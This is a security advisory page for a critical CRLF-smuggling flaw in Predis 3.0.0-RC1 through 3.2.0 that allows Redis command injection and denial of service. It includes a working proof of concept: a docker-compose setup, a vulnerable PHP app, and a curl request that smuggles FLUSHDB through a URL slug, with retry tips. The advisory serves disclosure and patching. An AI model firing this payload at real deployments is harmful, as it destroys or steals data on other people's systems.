Loading...
Skip to main content

CVE-2026-84372 — Vulnerability in predis/predis — CVE Details

CRITICAL

Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections

Published September 8, 2026Updated September 8, 2026Source: osv

Summary

### Summary An improper CRLF neutralization flaw in Predis' pipeline handling on aggregate connections lets an unauthenticated attacker who can influence any pipelined argument — a value **or** a key, e.g. a URL slug used as a cache key — smuggle arbitrary Redis commands into the connection. - On **cluster** connections (`cluster` option, incl. client-side sharding) this is remote command injection: shard-wide `FLUSHDB`, targeted `DEL`/`SET`, same-slot key theft via `GET`, cache poisoning, and possible node/cluster outage. - On **replication** connections (`replication` option) it is a reliable, repeatable denial of service (uncaught fatal error) triggered by any value containing `\r\n`. ### Details When a pipeline is executed over an aggregate connection, `AbstractAggregateConnection::write()` re-parses the already-serialized pipeline buffer with `explode("\r\n")` instead of honoring RESP length prefixes: - https://github.com/predis/predis/blob/v3.2.0/src/Connection/AbstractAggregateConnection.php#L78-L94 - splits the buffer on `\r\n`, ignoring `$<len>` bulk lengths, - rebuilds each chunk via `Command::deserializeCommand()` (https://github.com/predis/predis/blob/v3.2.0/src/Command/Command.php#L157) to decide routing, - writes each chunk to the connection chosen for that (fake) command. RESP is length-prefixed, so the Redis **server** parses the original stream correctly — but this second, client-side parser treats attacker-controlled `\r\n` sequences as command boundaries. An argument such as: PAD\r\n*1\r\n$7\r\nFLUSHDB is a single data value to the server, but a complete, valid `FLUSHDB` command to the re-parser. The consequence depends on the connection type: - **Replication:** a pipeline forces `switchToMaster()`, so all chunks go to the master and the byte stream stays intact — but the misaligned chunk makes `deserializeCommand()` throw an uncaught `UnexpectedValueException: Invalid serializing format`. Any value containing `\r\n` (binary serializers such as igbinary/msgpack, or multi-line text) reliably crashes the request. This is the crash tracked in #1574 — an unauthenticated, repeatable DoS. - **Cluster:** chunks are routed to different nodes by slot, so the byte stream is split across sockets. The smuggled command arrives on a node whose stream is clean and is **executed**, though the application never sent it: - `FLUSHDB` wipes an entire shard. It has no key but is routable because `ClusterStrategy::getFakeKey()` hardcodes the fake key `'key'` (https://github.com/predis/predis/blob/v3.2.0/src/Cluster/ClusterStrategy.php#L56 and #L243-L246), so the smuggled command always lands on the node serving `slot('key')`. - `INFO` (same fake-key routing) leaks server configuration via orphaned responses; `CLUSTER FLUSHSLOTS` can take a node down. - Same-slot `GET`/`SET`/`DEL` allow key theft (the reply is attributed to the application's own later command on that slot), cache poisoning and targeted data destruction; junk-key floods can exhaust node memory (OOM / mass eviction of legitimate keys). - Lua execution is **not** reachable: `EVAL` cannot be reconstructed (the class is `EVAL_` due to the PHP reserved word), `EVAL_RO` fails the `Keys` trait validation, and `EVALSHA` requires a pre-loaded script. This is accidental, not a designed mitigation, and does not reduce severity — `FLUSHDB`/`DEL`/`SET` alone already permit full cache wipes and data destruction. **Affected versions.** Introduced in v3.0.0 by PR #1438 ("Improved pipeline abstractions"). Affected range: **3.0.0-RC1 through 3.2.0** (v3.0.0-alpha1 is not affected — the vulnerable code was added after it). v1.x and v2.x are not affected; their pipelines write per-command via `writeRequest()` and the vulnerable code path does not exist. Only `pipeline()` reaches the vulnerable sink; `transaction()` / `MULTI` paths do not. ### Proof of concept Two plain `redis:8` containers acting as two shards (PredisCluster shards client-side, so Redis itself need not be in cluster mode); a PHP app on a vulnerable Predis checkout (e.g. v3.2.0). `docker-compose.yml`: services: redis1: image: redis:8 ports: ["6391:6379"] redis2: image: redis:8 ports: ["6392:6379"] `index.php` (a normal-looking app — slug from URL → cache lookup): <?php require __DIR__ . '/vendor/autoload.php'; $nodes = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392']; $client = new Predis\Client($nodes, ['cluster' => 'predis', 'parameters' => ['read_write_timeout' => 2]]); if (isset($_GET['seed'])) { for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); } exit('seeded'); } $slug = $_GET['slug'] ?? ''; try { [$doc] = $client->pipeline()->get("slug:$slug")->execute(); echo $doc ?: 'no such slug'; } catch (Throwable $e) { http_response_code(500); echo get_class($e); } Run: composer require predis/predis:3.2.0 docker compose up -d php -S 127.0.0.1:8080 -t . curl 'http://127.0.0.1:8080/?seed' # 100 keys Attack (smuggled `FLUSHDB` inside the slug): curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB' The slug's first line must hash to a different shard than the fake key `'key'` (otherwise the truncated bytes swallow the injection and the request simply 404s). With two shards this is ~50% per attempt — retry `PAD0`, `PAD1`, … until the request returns 500. More shards make the attack **easier**: the per-attempt hit probability is `(N-1)/N`, so on production clusters with many shards the first request succeeds with near-certainty. Verified result: `dbsize` across both shards drops 100 → 62; one shard was wiped by a `FLUSHDB` the application never issued (it only ever ran `GET`/`SET` on normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent of commit `053cb4b6` and fails on `053cb4b6`. ### Impact CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command injection / protocol smuggling and denial of service. Any application on **predis/predis 3.0.0-RC1 – 3.2.0** that calls `pipeline()` on a cluster or replication connection and includes attacker-influenced data (values **or** keys — e.g. cache keys built from URL slugs) in the pipelined commands is affected. This is a common pattern for cache lookups, sessions and queued writes. - **Cluster:** unauthenticated remote command injection — shard-wide cache wipe (`FLUSHDB`), targeted destruction (`DEL`), cache poisoning (`SET`), same-slot key theft (`GET`), node memory exhaustion (key flood), possible cluster outage (`CLUSTER FLUSHSLOTS`). - **Replication:** reliable unauthenticated DoS on every affected request. ### Remediation Upgrade to **predis/predis 3.3.0 or later**. The fix (PR #1586, commit `053cb4b6`) makes pipelines on aggregate connections write each command using the real `Command` object, eliminating the second, byte-splitting parser. Users who cannot upgrade immediately should avoid calling `pipeline()` on aggregate (cluster / replication) connections with any attacker-influenced keys or values; there is no reliable in-application way to neutralize the embedded `\r\n` while the second parser remains in the code path.

Advisory Timeline

  • First published September 8, 2026 (34 days ago).
  • Last revised September 8, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update predis/predis to 3.3.0 or later
composer require "predis/predis:^3.3.0"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
predis/predis
packagist
v3.0.0, v3.0.0-RC1, v3.0.1, v3.1.0 (+1 more)3.3.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-84372?
Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-84372?
CVE-2026-84372 affects predis/predis. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-84372 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-w6f5-v2h6-g786

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies